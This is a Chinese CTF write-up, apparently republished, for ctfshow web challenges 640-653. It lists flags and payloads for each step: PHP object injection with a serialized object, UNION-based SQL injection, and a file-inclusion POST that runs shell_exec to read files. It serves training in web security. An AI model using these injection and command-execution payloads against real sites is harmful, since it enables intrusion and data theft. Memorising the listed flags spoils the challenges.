ctfshow终极考核web640-web653
Posted yu22x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow终极考核web640-web653相关的知识,希望对你有一定的参考价值。
配合脚本学习效果更佳
web641
在请求头中
web642
首页看到敏感路径,抓包得到flag。
web643
通过网络测试功能调用ls命令看到secret.txt,访问后url解码得到flag
web644
首页css中存在路径
访问后跳转到登录界面
查看js得到flag以及登录的密码(0x36d)
web645
备份功能下载下来后可以看到flag
flag_645=ctfshow28b00f799c2e059bafaa1d6bda138d89
web646
通过远程更新功能获取各个文件的源码
在init.php中得到flag
web647
分析users.php,发现想要拿到647flag需要满足如下条件
可以调用一个不带参数的方法,只要方法的返回值是372619038即可。
想到开了session,那么我们可以调用session_id,然后修改phpsessid的值。
flag_647=ctfshowe6ad8304cdb562971999b476d8922219
web648
关键函数
function evilClass($m,$k)
class ctfshow
public $m;
public function construct($m)
$this->$m=$m;
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat \\/FLAG\\/FLAG647'))
echo shell_exec('cat \\/FLAG\\/FLAG648');
else
echo 'mmmmm?';
随便传个m,然后key传647的值。
payload:
system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshowe6ad8304cdb562971999b476d8922219
flag_648=ctfshowaf5b5e411813eafd8dc2311df30b394e
web649
试了下getArray()方法,发现下标18每次产生的值范围不大而且接近18,当然其他的也有可能。
payload
import requests
url="http://aaadafd2-5e71-4dbf-b257-60eb106c3648.challenge.ctf.show:8080/system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshowaf5b5e411813eafd8dc2311df30b394e"
while True:
r=requests.get(url)
if "ctf" in r.text:
print(r.text)
break
flag_649=ctfshow9ad80fcc305b58afbb3a0c2097ac40ef
web650
和647差不多
payload:
url/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow9ad80fcc305b58afbb3a0c2097ac40ef
flag_650=ctfshow5eae22d9973a16a0d37c9854504b3029
web651
<?php
class a
public $username='123';
public $x="ctfshow";
$a=new a();
echo serialize($a);
payload:
?action=evilArray&m=O:1:"a":2:s:8:"username";s:3:"123";s:7:"ctfshow";s:7:"ctfshow";&key=flag_650=ctfshow5eae22d9973a16a0d37c9854504b3029
flag_651=ctfshowa4c64b86d754b3b132a138e3e0adcaa6
web652
util/dbutil.php存在sql注入
在page.php调用了查询函数
payload:
page.php?id=0) union select secret from ctfshow_secret%23
flag_652=ctfshow4b37ab4b6504d43ea0de9a688f0e3ffa
web653
同样的方式获取ctfshow_keys下的key
payload:
page.php?id=0) union select `key` from ctfshow_keys%23
得到key:key_is_here_you_know
后面就是利用common中的文件包含了
system36d/util/common.php?k=flag_651=ctfshowa4c64b86d754b3b132a138e3e0adcaa6
post:
key=key_is_here_you_know&file=../db/data_you_never_know.db&1=echo shell_exec('cat /s*');
flag_653=ctfshow5526710eb3ed7b4742232d6d6f9ee3a9
以上是关于ctfshow终极考核web640-web653的主要内容,如果未能解决你的问题,请参考以下文章